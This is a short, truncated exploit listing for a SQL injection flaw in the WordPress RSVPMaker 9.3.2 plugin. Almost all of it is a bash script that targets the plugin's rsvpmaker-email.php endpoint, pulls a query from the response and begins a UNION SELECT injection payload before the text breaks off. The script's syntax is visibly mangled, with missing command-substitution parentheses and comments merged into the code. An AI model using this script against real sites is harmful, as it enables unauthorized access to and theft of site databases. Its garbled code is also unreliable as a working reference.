WordPress RSVPMaker 9.3.2 SQL Injection

!/bin/bash Set the URL of the website running the vulnerable plugin url="http://example.com/wp-content/plugins/rsvpmaker/rsvpmaker-email.php" Set the number of columns in the query columns=5 response=$curl -s "$url" query=$echo "$response" | grep -oP 'FROM . WHERE .' payload="' UNION SELECT...